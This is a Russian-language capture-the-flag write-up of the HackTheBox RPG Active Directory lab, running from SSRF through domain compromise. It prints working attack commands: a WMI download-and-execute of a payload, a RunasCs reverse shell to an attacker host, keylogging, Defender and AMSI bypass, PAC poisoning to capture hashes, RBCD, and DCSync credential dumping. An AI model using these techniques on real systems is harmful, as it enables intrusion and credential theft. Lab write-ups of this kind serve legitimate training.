Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
Привет, с вами Ральф! В данной статье разберем прохождение не просто машины, а целой мини-лаборатории с площадки HackTheBox.
Как сказано в описании, лаборатория RPG предназначена для проверки навыков на всех стадиях атак в небольшой среде Active Directory. Цель состоит в том, чтобы скомпрометировать доступный хост, повысить привилегии и, в конечном итоге, скомпрометировать весь домен, собрав при этом 6 флагов.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу. Там вы найдете много материала, софта, курсов и отчетов по APT группировкам.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Посмотреть разборы других лабораторий:
1) Professional Offensive Operations
2) XEN
3) Hades
Intro
Данный endgame состоит из 4 машин, и содержит 6 флагов.
Так же дается описание и адрес двух доступных хостов.
1. Внешний периметр
1.1 Сканирование портов
Доступные нам хосты имеют адреса 10.13.38.18 и 10.13.38.19. Первым делом мы сканируем порты на этих хостах. Первой командой обнаружим открытыае порты.
nmap -p- --min-rate=1000 10.13.38.18-19
А затем повторим санирование по выделенным открытым портам с использованием скриптов nmap (опция -A
).
nmap -p22,80,3000 -A 10.13.38.18
nmap -p80,8081 -A 10.13.38.19
На первом хосте (.18) нам доступгы службы SSH, с которой нам ничего не поделать, а также веб сервер Apache
и приложение Rocket Chat, для которой требуется авторизация.
Перейдем к более глубокому изучению сайта на порту 80. Нет никакого функционала, поэтому просканируем директориию. Я это делаю с помощьюя FFUF.
ffuf -t 200 -fc 403 -c -u http://10.13.38.18/FUZZ -w ~/tmp/wordlists/WebContent/dirs/ALL_big.txt
Ничего интересного снова не находим, поэтоу перейдем к другому хосту. Там открыты порты 80 (Microsoft IIS) и 8001 (Apache Tomcat 8.5.41).
На 80 порту нас встречает веб-сервер Microsoft IIS. Ни сканирование файлов и директорий ничего не дало, сканирование шортнеймов для частичного определениях содержимого — тоже.
На порту 8001 нас ожидает Авторизация JFrog Artifactory.
1.2 JFROG Artifactory
JFrog Artifactory — это инструмент, предназначенный для хранения результатов сборки ПО и использования их в процессах распространения и развертывания. Artifactory обеспечивает поддержку ряда форматов пакетов, таких как Maven, Debian, NPM, Helm, Ruby, Python и Docker. Первым делом проверим обязательную авторизацию.
curl http://10.13.38.19:8081/artifactory/ui/repodata?deploy=true | jq
Авторизация от имени гостя не доступна, иначе мы бы могли получить список пользователей этим скриптом.
1.2.1 Авторизация
Ничего интересного кроме известных технологий мы не нашли, поэтому попробуем побрутить учетные данные по умолчанию. В случае с JFROG Artifactory возможные три варианта пар логин-пароль:
- "admin": "password";
- "anonymous": пустой пароль.
- "access-admin": случайный пароль;
Первые два варианта не сработали, поэтому пробуем брутить третий с помощью Burp Intruder. В итоге взяв список самых популярных паролей из Seclists мы находим верный пароль для пользователя access-admin
.
1.2.2 Сбор информации
Сразу же на стартовой странице находим версию программного продукта, но никаких эксплоитов не находим.
Мы можем просматривать структуру файлов и директорий локальной системы, перейдя к работе с репозеториями на вкладке Import and Export Repositories
.
А также найдем пользователей в опции Users Management
.
Так же эта система ведет логи, которые нам нужно обязательно просмтотреть. Для этого перейдем к странице Logs
->System Logs
.
Скачиваем файл и просматриваем запросы. Так файл будет содержать огромное количество одинаковых строк, то не интересные нам мы можем фильтровать с помощью grep -v
.
Таким образом мы находим какой-то адрес, предположительно из внутренней сети. Это очень важно, поэтому сохраняем в заметки.
1.2.3 Эксплуатация SSRF
Данная система позволяет импортировать и экспортировать репозетории. Проверим можем ли мы обратиться к собственному хосту. Для начала тестируем протокол SMB, для чего перейдем к Admin
-> Import and Export
-> Repositories
-> Import
. Командой responder -I tun0 -v
открываем у себя листенер. А затем выполним импорт со своего хоста.
В окне листенера видим отстук. Теперь проверим протокол HTTP, для чего перейдем к Welcome
-> Remote Repository
-> Any
. В качестве листенера используем простой веб-сервер python3 python3 -m http.server 80
.
Это дает нам возможность "просканировать" внутреннюю сеть. Так мы знаем один из адресов (то есть и адрес сети), поэтому стоит всего лишь выполнить сапрос на импорт к 255 хостам.
Сначала выполним запрос на импорт через SMB, затем отловим запрос в Burp Proxy и перенаправим в Intruder. В результате атаки добавим еше один столбец, который показываем время ответа, это позволит нам определить живые хосты с открытым портом SMB.
Затем повторим атаку, только уже с протоколом HTTP, где нас будет интересовать не время, а код ответа.
Таким образом мы найдем 4 живых хоста:
- 192.168.125.88
- 192.168.125.128
- 192.168.125.129
- 192.168.125.135
Так мы имеем хосты с портом SMB, нужно все-таки попробовать импортировать репозеторий. Для этого сначала найдем его расположение. Используем тот эе метод, что и при сканировании SMB, только теперь будем преребирать и адрес хоста (88,128,129) и каталог (возьмем список директорий): \\192.168.125.$host$\$catalog$
. И получаем всего один успешный запрос — к каталогу development.
Теперь просто импортируем репозеторий. В нем присутствует исполняемый файл, ключ и первый флаг!
2. Точка опоры
2.1 Анализ исполняемого файла
В README сказано о шифровании персонального токена, с помощью приложения. А также имеется ключ key.txt. Декомпилируем приложение с помощью https://www.decompiler.com или программы dnSpy.
В исходниках находим адрес, куда выполняется запрос, а также нужно получить токен. На виртулаке создаем интерфейс и присваиваем этот IP.
Открываем листенер на порту 3000 (с помощью netcat), запускаем программу с ключем и получаем токен.
Это токен доступа к API Rocket Chat'a.
2.2 Rocket Chat API
Обратимся по данному адресу. Мы получим все сообщения из канала eoxPkMvnBNCB8q9n8 (channels.messages
):
curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/channels.messages?roomId=eoxPkMvnBNCB8q9n8' | jq
Получаем ID пользователя dev-admin
. Получим всю персональную переписку (im.messages
) между текущим пользователем и пользователем dev-admin (roomId=[_id1][_id2]
):
curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/im.messages?roomId=HTpmn63zyESXXsGZackBN4uDvbKecTqoBS' | jq
Из полученных сообщений узнаем о каком-то ключе и пользователе beta_user
. Получим все диалоги пользователя (rooms.get
):
curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/rooms.get' | jq
Нас интересуют ID чатов.
curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/rooms.get' | jq '.update[] ._id'
Теперь мы можме получить сообщения из любого чата пользователя (groups.messages
):
curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/groups.messages?roomId=2iHYAhwtJjbyj4a6N' | jq '.messages[] .msg'
curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/groups.messages?roomId=X5xn88ZMRjpog4A9h' | jq '.messages[] .msg'
В одном чате находим какой-то пароль, а в другом сообщение, в котором упоминается прикрепленный ключ. Получим полное сообщение.
curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/api/v1/groups.messages?roomId=X5xn88ZMRjpog4A9h' | jq
Получаем местоположение ключа. Скачиваем ключ.
curl -s -H "X-Auth-Token: _bXOx5rjOpTOE3hEfJNTzjAdTWEFas2um7xNH13ylZL" -H "X-User-Id: HTpmn63zyESXXsGZa" -H "Content-Type: application/json" 'http://10.13.38.18:3000/file-upload/crBDvzQkhN77KLrxz/key.txt'
С данным ключом подключаем к хосту.
3. Продвижение
3.1 Поиск учетных данных
Мы попали на хост, на котором развернуто большое приложение и имеем к нему доступ. Вы должны воспринимать это как "копилку" с учетными данными и другой важной информацией. Первым делом перейдем к базе данных по пути /snap/rocketchat-server/1427/bin.
Подключаемся и просматриваем имеющиеся базы:
./mongo
show dbs
Нас интересует база parties
, подключимся и получим ее коллекции.
use parties
show collections
Тут можно получать сообщения (db.rocketchat_message.find()
) или информацию о пользователях (db.users.find()
), а можно просто изменить пароль админа и авторизоваться через веб-интерфейс. Для этого в базе поменяем хеш пароля (как сказано в документации).
db.users.update({"username": "dev-admin"}, {$set:{"services.password.bcrypt":"$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG"}})
Теперь мы можем авторизоваться как dev-admin
: 12345
. Просматривая все сообщения находим два пароля, и некоторое число пользователей.
Методов повысить привилегии на данном хосте не нашлось, поэтому сохраняем эти данные и идем далее.
3.2 Сканирование внутренней сети
Настало время просканировать внутреннюю сеть. Можно конечно туннелировать трафик со сканера портов во внутренню сеть, но быстрее и удобноее сначала просто загрузить собранный сканер на хост, просканировать с него, а затем уже пройтись по найденным портам с использованием скриптов nmap
.
scp -i beta_user.key ~/tools/linStaticbins/nmap beta_user@10.13.38.18:/tmp/nmap
./nmap -p- --min-rate=1500 -Pn 192.168.125.88,128,129
Мы нашли открытые порты, теперь организуем Socks туннель (опция -D
) средствами SSH.
ssh -i beta_user.key -ND 9876 beta_user@10.13.38.18
Таким образом весь трафик с нашего порта 9876 будет ретранслирован через хост во внутреннюю сеть. В качестве ретранслятора используем proxychains
, в файл конфигураций /etc/proxychains.comf
которого указываем настройки прокси.
А теперь сканируем выделенные порты со своего хоста.
proxychains -q nmap -A -p80,135,139,445,3389,5985,47001 192.168.125.88
proxychains -q nmap -A -p135,139,445,3389,5985,47001 192.168.125.129
proxychains -q nmap -A -Pn -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 192.168.125.128
Имеем множество мест для проверки учетных данных, но наиболее интересными являются службы SMB и WinRM.
3.3 Спрэинг паролей
Давайте выполним Passwords Spraying. Техника, при которой мы брутим не пароли пользователя, а подбираем логин к имеющимся паролям. SMB и WinRM удобно перебирать с помощью утилиты CrackMapExec.
proxychains -q crackmapexec smb hosts.txt -u users.txt -p passwords.txt --continue-on-success
proxychains -q crackmapexec winrm hosts.txt -u users.txt -p passwords.txt --continue-on-success
В результате находим верную пару логин-пароль, а также доступ к одному хосту через службу WinRM.
4. Хост Lux — пользователь Janderson
4.1 Сканирование хоста
Первым делом, когда мы попали на новый хост является разведка. Для этого можно использовать программы:
- WinPEAS.exe и SeatBelt — для общего сканирования хоста;
- PowerUp.ps1 — для нахождения неправлильно сконфигурированных служб;
- PowerView — для поиска путей развития в домене;
- BloodHound — для определения путей сложных атак, основанных на связях между объектами AD;
- WES — для поиска эксплоитов для ОС Windows.
Я загрузил на хост WinPEAS и провел первоначальные перечисления.
proxychains -q evil-winrm -u janderson -p 'Welcome_roundsoft2019!' -i 192.168.125.129
upload ./winPEASany.exe
.\winPEASany.exe
Среди полученных результатов было мало что важного, но мой взгляд уцепился за установленный и запущенный SSH клиент Putty.
Сразу возникла мысль сдампить пароли или найти эксплоиты, но безуспешной. Да, сразу скажу про эксплоиты: в лабораторной работе не использовались эксплоиты, вышедший после релиза лаборатории, хоть таки было и много! Тогда я убил процесс пути и спустя некоторое время обнаружил, что он раюотает уже с другим PID'ом, то есть запущен снова!
Пришло время использовать один из фреймворков для обеспечения удобной работы, выбор пал на Cobalt Strike...
4.2 Эксплуатация
Так как обычно все нагрузки выполняют обратное подключение, то нам нужно организовать прокси из внутренней сети во внешнюю. Будем использоваться chisel. Сначала на своем хосте запустим сервер, который будет прослушивать порт 10101:
./chisel server -p 10101 --reverse --socks5
Теперь загрузим этот же файл на сервер и запустим клиентскую часть, которая подключится к порту 10101 и будет перенаправлять весь трафик с удаленного порта 4444 на порт 4444 нашего хоста.
scp -i beta_user.key chisel beta_user@10.13.38.18:/tmp/chiesel
/tmp/chiesel client 10.14.14.6:10101 0.0.0.0:4444:10.14.14.6:4444
Видим сообщение об успешном подключении. Теперь перейдем в Cobalt и создадим HTTP листенер, в адресе которого указываем IP захваченного хоста и туннелируемый порт.
На хосте работает Windows Defender, который будет убивать наши вредоносные файлы. Способ обфускации нагрузки не раскрываю, но укажу другой путь создания реверс шелла. При новом подключении Evil-WinRM указываем параметр -s [dir]
, в котором передаем каталог, содержащий сгенерированную нагрузку Powershell. После подключения вызываем menu
программы и отключаем AMSI командой Bypass-4MSI
, а затем просто в консоли указываем имя файла с нагрузкой. В течение минуты прилетит бэкконнект.
Но нагрузка долго не живет, но одну-две команды выполнить позволяет. Поэтому сразу порождаем еще одного агента.
Но чтобы обеспечить еще более стабильный доступ, можно выполнить иньекцию в другой процесс. При этом в списе процессов определяем еще одну сесиию нашего пользователя. Мигрируем в любой из этих процессов.
Появляется новая сессия из процесса sihost.exe.
4.3 Кейлоггинг
Так как сессия SSH постоянно востанавливается после закрытия, я решил активировать кейлоггер и убить процесса. После создания новой сессии мы должнв перехватить вводимый пароль. Спустя некоторой несколько минут, видим сообщение о перехваченных нажатиях.
Переходя в хранилище Keystrokes видим последовательность символов.
Попытавшись подклються по SSH с разными ее вариациями пониманием, что что-то не так, потому что все попытки неудачны. Хотя в сделанном скриншоте рабочего стола пользователя видим открытыю сессию.
Тогда я решил запустить другой кейлоггер, желательно тот, что будет сохранять рещультат в файл на локальном хосте. Выбор пал на этот репозиторий github. После загрузки и запуска данного кейлоггер, убиваем сессию SSH и ждем нового процесса. Как только сессия будет восстановлена, в логах кейлоггера обнаружим уже другой пароль.
С данной последовательностью получается авторизоваться по SSH от имени root.
ПРИМЕЧАНИЕ: более легкий способ захвата хоста — получить удаленный рабочий стол VNC командой vncinject
и в консоли putty вывести ssh ключ пользователя root.
5. Хост Ignis — пользователь ROOT
5.1 Эксплуатация
Cobalt имеет собственное хранилище учетных данных, куда и добавим новую пару. А после перейдем к списку целей, добавим в него известных хосты, выбираем хост 192.168.125.135 и подключаемся через SSH. При подключении выбираем только что добавленную учетку и сессию, от которой выполняется подключение.
В домашнем каталоге пользователя находим второй флаг.
5.2 Сканирование хоста
Для сканирования Linux хостов можно использовать следующие программы:
- LinPEAS и LinEnum — для общего сканирования хоста;
- LES — для поиска эксплоитов ОС Linux;
- pspy — для мониторинга запускаемых процессов в реальном времени;
- mimipenguin — для дампа паролей разных служб.
При запуске LinPeas находим запущенный gnome-keyring
в контексте пользователя ruby.
5.3 Дамп паролей из Gnome Keyring
У пользователя имеется несколько файлов-хранилищ.
Давайте попробуем сдапить пароль пользователя из работающего процесса. В этом нам поможет уже упомянутый mimipenguin. Его необходимо загрузить с github и собрать командой make static
. Затем загрузим на хост и выполним.
Мы получили пароль пользователя ruby
и с помощью него можем расшифровать файлы keyring. Скачиваем из с хоста и размещаем в директории ~/.local/share/keyrings
. А затем запустить демон gnome-keyring:
gnome-keyring-daemon -r -d
При запуске Keyring в разделе пароли увидим три добавленных хранилища.
Открывая каждое получим еще один флаг и пароли.
6. Хост Lux — Пользователь rrodrigues
6.1 Спрэинг паролей
Мы получили много новых паролей и нужно их также проспреить. Но сначал получим всех пользователей с домена. Я сдампил всю информацию обо всех юзерах, а потом выделил логины.
cat dump_users.txt | grep samaccountname | cut -d : -f 2 | tr -d ' ' > domain_users.txt
Тестить SMB по всем хостам смысла особого нет, результат будет один и тот же, а вот WinRM нужно брутить везде:
proxychains -q crackmapexec winrm hosts.txt -u domain_users.txt -p passwords.txt --continue-on-success
И получаем контроль над новым пользователем (тем же способом).
6.2 Анализ программного обеспечения
Разведку на хосте уже проводили, знаем, что установлен SolarWinds WmiMonitor.
Отсюда и возникла идея попробовать перескочить на другие хосты через WMI. В качестве теста создадим процесс, выполняющий команду whoami
.
Invoke-WmiMethod -Path win32_process -name Create -argumentlist ('whoami') -ComputerName GELUS
Возникла проблема с аутентификацией, поэтому попробуем еще раз с передачей учетных данных.
$username = 'rrodriguez'
$password = 'I@mabArb13g1rl1n@barbi3w0rld'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-WmiMethod -Path win32_process -name Create -argumentlist ('whoami') -ComputerName GELUS -Credential $credential
Получаем ответ, что команда успешно выполнена. Об этом свидетельствует значение 0 параметра ReturnValue
.
6.3 Продвижение через WMI
Идем дальше и попытаемся прислать запрос на свой веб-сервер (кто не знает, у кобальта он всроен). Запрос выполняем также через ретранслятор.
$username = 'rrodriguez'
$password = 'I@mabArb13g1rl1n@barbi3w0rld'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-WmiMethod -Path win32_process -name Create -argumentlist ('powershell wget 192.168.125.135:4444/TestWMI') -ComputerName GELUS -Credential $credential
И в Web логах сервера находим пришедший запрос.
Теперь разместим на своем сервере файл с нагрузкой. Отмечу, что файлы x64 резались антифирусом сразу же, а вот x86 некоторое время жили и даже запускались.
Теперь скачиваем нагрузку на сервер и сразу запускаем. Размещение нагрузки производится в доступную всем пользователям для записи директорию C:\Windows\System32\spool\drivers\color\
.
$username = 'rrodriguez'
$password = 'I@mabArb13g1rl1n@barbi3w0rld'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-WmiMethod -Path win32_process -name Create -argumentlist ('powershell wget http://192.168.125.135:4444/ftp.exe -O C:\Windows\System32\spool\drivers\color\ftp.exe') -ComputerName GELUS -Credential $credential
Invoke-WmiMethod -Path win32_process -name Create -argumentlist ('C:\Windows\System32\spool\drivers\color\ftp.exe') -ComputerName GELUS -Credential $credential
Спустя несколько секунд получим бэкконнект и первой же командой, на всякий случай, нужно заспавниться (это уже проходили ранее).
7. Хост Gelus — Пользователь rrodrigues
7.1 Работа с Google Chrome
При попытке произвести любую запись на диск или выполнить неуправляемое выполнение кода Powershell или C#, сессия тут же убивается антивирусом. Поэтому просмотрим все своими силами без специальных чекеров. Просматривая процессы, находим связанный с Google.
Так пройдем к локальному хранилищу Chrome C:\Users\rrodriguez\AppData\Local\Google\Chrome\User Data\Default\databases
и просмотрим содержимое.
В итоге имеем базу и директорию расширения. Все найденное загружаем на локальную машину для дальнейшего анализа.
Сперва откроем файл базы данных для получения дополнительной информации. Оттуда узнаем, что установленное расширение — это LastPass.
7.2 Дамп паролей из базы LastPass
Это платная популярная программа для хранения паролей. Из той же базы мы узнаем пользователя LastPass.
У нас есть несколько паролей, некоторый даже связаны с данным пользователем. Возможно это поможет открыть хранилище и получить дополнительные учетные данные. Для парсинга файла расширения используем lastpass-vault-parser. В результате перебора паролей, находим нужный (который располагался в keyring Disk).
Просматривая расшифрованные данные находим пароль для пользователя ruby_adm и еще один флаг. То есть мы движемся в верном направлении.
7.3 Спрэйинг паролей
Снова пробуем перебрать пароль по всем пользователям и имеем только указанного ruby_adm
к SMB, значит это пароль пользователя в домене.
proxychains -q crackmapexec smb 192.168.125.128 -u domain_users.txt -p 'b3aut1fu1_lyk_@_g3m!' --continue-on-success
8. Хост Lux — пользователь ruby_adm
8.1 BloodHound
Так как данная машина уже изведана от и до, пришло время запускать BloodHound для поиска путей продвижения в домене, на основе связей между объектами Active Directory.
Но при запуске Bloodhound получаем ошибку, потому что он не может найти контроллер домена. Тогда зададим все параметры сами:
C:\Users\Public\SharpHound.exe -c All --output directory C:\Users\rrodriguez\Documents\ --domaincontroller 192.168.125.128 --ldapusername rrodriguez --ldappassword I@mabArb13g1rl1n@barbi3w0rld --collectallproperties --stealth
Запускаем базу neo4j, запускаем bloodhound, загружаем базу и ищем нашего пользователя.
У пользователя есть 106 подчененных объектов. Кликаем на это число и получаем граф связей.
При этом один из пользователей, к которому у нас есть полный доступ (GenericAll
) является членом группы разработчиков.
8.2 Эксплуатация отношения GenericAll
Самое легкое, что мы можем сделать с этим пользователем — изменить его пароль. Проще всего произвести смену с помощью службы RPC командой setuserinfo2
— структура USER_INFORMATION_CLASS свойство # SAMPR_USER_INTERNAL4_INFORMATION (значение 23).
proxychains -q rpcclient -U 'ruby_adm%b3aut1fu1_lyk_@_g3m!' 192.168.125.128
setuserinfo2 kreid 23 [пароль]
Пароль установлен, но при проверки, нам говорят, что учетная запись отключена (STATUS_ACCOUNT_DISABLED
).
С помощью Evil-WinRM отключим AMSI и загрузим в память скрипт PowerView (как делали ранее). А затем активируем учетную запись:
$User = 'roundsoft.local\ruby_adm'
$Pass = ConvertTo-SecureString 'b3aut1fu1_lyk_@_g3m!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential($User, $Pass)
Set-DomainObject -Identity Kreid -Domain roundsoft.local -Cred $Cred -XOR @{useraccountcontrol=2}
На этот раз проверка пароля прошла успешно.
Проверим и для службы WinRM
Так как мы можем получить удаленный контроль, то порождаем новую сессию кобальта уже известным нам методом.
9. Хост Lux — административный доступ
9.1 Пост эксплуатация и повышение контекста
Полученный пользователь является локальным администратором, поэтому первым делом отключим Windows Defender, а затем получим уровень SYSTEM за счет установки службы.
Затем получим еще больше учетных данных (в основном хеши) командами logonpasswords
и hashdump
. Первая извлекает пароли и хеши из памяти процесса LSASS, а вторая из файла SAM.
9.2 Дамп данных из WinSCP и NTUSER.DAT
Просматривая программное обеспечение в каталогах данных пользователей, мы находим WinSCP у пользователя yamano
.
Также находим файл NTUSER.DAT, который загружаем на локальный хост.
Пришлость перейти на виртуалку Windows для анализа данного файла в Registry Explorer. Там и находим ключ для WinSCP.
Для получения данных испоьзуем winscppasswd.
winscppasswd.exe 192.168.125.135 yamano A35C7059DC0FAE8584253D313D32336D656E726D6A64726D6E69726D6F691D2E6B03350F033A1C32281C2F286D3F033E6F3D292825
Так мы получаем еще один пароль.
10. Хост Gelus — пользователь yamano
10.1 Олицетворение пользователя
Вернемся на второй хост GELUS. Мы получили новых пользователей, но авторизоваться под ними способа нет. Но так как мы знаем учетные данные, мы можем олицетворять этого пользователя, то есть выполнять команды в его контексте. В это можем помочь RunasCs.
Выполнить неуправляемую загрузку кода (что происходит при командах execute-assembly
и powershell-import
) мы не можем, загрузить файл средством кобальта тоже. Но получилось это выполнить, выполнив wget
команду в оболочке powershell.exe через процесс cmd.exe. Для этого разместим RunasCS в формате powershell на сервер кобальта, а потом загрузим.
shell powershell wget http://192.168.125.135:4444/rcs.ps1 -O C:\Windows\System32\spool\drivers\color\rsc.ps1
А затем попробуем выполнить команжу в контексте пользователей yamano и ruby_adm (всю работу от имени пользователя ruby_adm я опускаю, так как они ни к чему не привела). Сначала загрузим скрипт, а затем выполним функцию Invoke-RunasCs
.
shell powershell ". C:\Windows\System32\spool\drivers\color\rsc.ps1 ; Invoke-RunasCs -Username yamano -Domain roundsoft.local -Password 'Ar7_iS_f@nt@st1c_b3auty' -Command 'whoami'"
В результате выполнения команды whoami получаем имя нужного нам пользователя. У загруженного нами скрипта есть полезнаю функция: реверс шелл в контексте другого пользователя (опция -Remote
). Но сперва откроем листенер командой nc -lpv 8080
.
shell powershell ". C:\Windows\System32\spool\drivers\color\rsc.ps1 ; Invoke-RunasCs -Username yamano -Domain roundsoft.local -Password 'Ar7_iS_f@nt@st1c_b3auty' -Command 'cmd.exe' -Remote 10.14.14.6:8080"
И получаем более-менее полноценную командную оболочку имперсонированного пользователя.
10.2 Утечка NetNTLMv2 хеша
Осматриваясь на хосте заходим в директрию веб-сервера inetpub
, она оказалась доступной для нас.
В ней расположены несколько каталогов. Просмотрев все, остановимся на первом, в котором присутствует файл web.config.
В конфиге указано расширение PAC, а соответствующий файл находим в директории pac_testing.
Файлы PAC (Proxy Auto-Config) — это файлы конфигурации в основном используемые различными веб-браузерами для выбора соответствующего прокси-сервер. PAC файлы содержат функции JavaScript, которые используются в определении правил, необходимых для выбора прокси-сервера. И унас есть право на редактирование данного файла!
Таким образом, мы можем открыть листенер на своем хосте, изменить настройку прокси и отлавливать запросы, в которых могут присутствовать и учетные данные. Сперва запусти Responder:
sudo responder -I tun0 -v -P
А затем изменим функцию FindProxyForURL
.
echo function FindProxyForURL(url, host){ return "PROXY 10.14.14.6:3128; DIRECT"; } > C:\inetpub\altroot\pac_testing\proxy.pac
И в течение 2-3 минут получим хеш!
10.3 Взлом NetNTLMv2 хеша
Мы получили NetNTLMv2 хеши пароля пользователя AThompson. Данный протокол используется для сетевой аутенитификации пользователей Active Directory. Переберем хеш, для чего нужно знать его режим.
hashcat --example | grep NetNTLMv2 -A2 -B2
Таким образом, нужный нам режим hashcat — 5600. Просто перебрать хеш по словарю не вышло, поэтому нужно использовать продвинутые правила hashcat, которые изменяют пароли из списка по определенным принципам/ Советую брать правила из этих репозиториев: nsa-rules и hashcat rules. Получилось найти прообраз с правилами d3ad0ne, при этом я задействовал видеокарту.
hashcat -m 5600 hash.ntlmv2 /home/ralf/tmp/wordlists/rockyou.txt -r d3ad0ne.rule -debug-mode=1 -debug-file=rule.txt -d 2
В итоге мы находим учетные данные еще одного польхзователя.
11. Хост Gelus — административный доступ
11.1 Пост эксплутатция и повышение контекста
Получили учетные данные — проверяем возможность подключения к службе WinRM.
К тому же захваченный пользователя является локальным администратором машины Gelus. На рабочем столе забираем флаг.
Так как мы админ — повторяем все действия, а именно: отключаем средства защиты и повышаем свой контекст через установку службы.
Так с этого компьютера удалось сдампить хеш пользователя jops.
11.2 BloodHound и атака Kerberos RBCD
По мере захвата новых пользователей стоит помечать их как контролиуемых в базе BloodHound. И от пользователя Jops есть путь к контроллеру домена, так как он является членом группы Operators, имеющую право GenericWrite по отношению к контроллеру домена.
Это позволяет нам провести RBCD атаку Kerberos, опирающуюся на ограниченное делегирование на основе ресурсов. Это даст нам билет для службы LDAP, что позволит выполнить репликацию учетных данных всего домена. Первым действием создадим объект компьютер (по умолчанию любой пользхователь может создать до 10 таких объектов). Я добавлю объект "RALF$" с паролем "ralf123456"
proxychains -q addcomputer.py -computer-name 'RALF8$' -computer-pass 'ralf123456' -dc-ip 192.168.125.128 -dc-host shinra.roundsoft.local 'roundsoft.local/athompson:sshhiinnoobbii!!'
Теперь свяжем свойство msDS-AllowedToActOnBehalfOfOtherIdentity
контроллера домена с дескриптором безопасности созданного объекта компьютера.
proxychains -q ./rbcd.py -t 'CN=shinra,OU=Domain Controllers,DC=roundsoft,DC=local' -d roundsoft.local -c 'CN=RALF8,CN=Computers,DC=roundsoft,DC=local' -u jops -H f7b8e6e5af23f06fdbb559d1888261fa:f7b8e6e5af23f06fdbb559d1888261fa -l 192.168.125.128
Осталось имперсонировать учетную запись контроллера домена для получения тикета для доступа к службе LDAP.
proxychains -q getST.py -spn ldap/shinra.roundsoft.local -impersonate 'SHINRA$' -dc-ip 192.168.125.128 'roundsoft.local/RALF8$:ralf123456'
Но получаем ошибку Clock skew too great. Дело в том, что локальное время на клиентне и сервере может отличаться не более чем на 5 минут! Для настройки времени на любом из подконтрольных хостов узнаем регион powershell командой Get-TimeZone
, после чего поставим данный регион на локальном хосте. Затем получим значение времени командой date
и установим его у себя похожей командой date -s "[время]"
. А затем повторим запрос билета:
Получаем серебрянный билет (silver ticket), который экспортируем в рабочее окружение.
export KRB5CCNAME='/home/ralf/tmp/RPG/rbcd/SHINRA$.ccache'
11.3 Атака DCSync
Так как теперь при обращении к службе LDAP мы работаем от имени контроллера домена, мы можем запросить репликацию учетных данных всех объектов домена.
proxychains4 -q secretsdump.py shinra.roundsoft.local -dc-ip 192.168.125.128 -no-pass -k
Таким образом, теперь мы контрлируем все учетные записи домена.
12. Контроллер домена Shinra
12.1 Перебор учетных данных
У нас есть все учетки, хоть и с хешами, а не с паролями. CrackMapExec позволяет выполнить парный перебор логинов и хешей.
proxychains -q crackmapexec winrm 192.168.125.128 -u dc_users.txt -H dc_hashes.txt --continue-on-success --no-bruteforce
В результате переборамы получаем одного пользователя, имеющего доступ к службе WinRM.
По маркеровке кобальта видим, что это администратор, поэтому сразу отрубаем все средства защиты. Правда прочитать итоговый флаг не вышло из-за шифрования EFS. То есть данный файл доступен только его владельцу.
Можно пойти двумя путями: расшифровать файл или изменить контекст работы. Я выбрал второй вариант. Для этого сначала изменим пароль пользователя, а затем произведем его лицетворение с помощью уже известного нам скрипта.
Вот и все, эта лаба (уже четвертая) пройдена. В качестве обратной связи, прокомментируйте — узнали ли Вы что-то новое из данной статьи, и была ли она Вам полезна.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.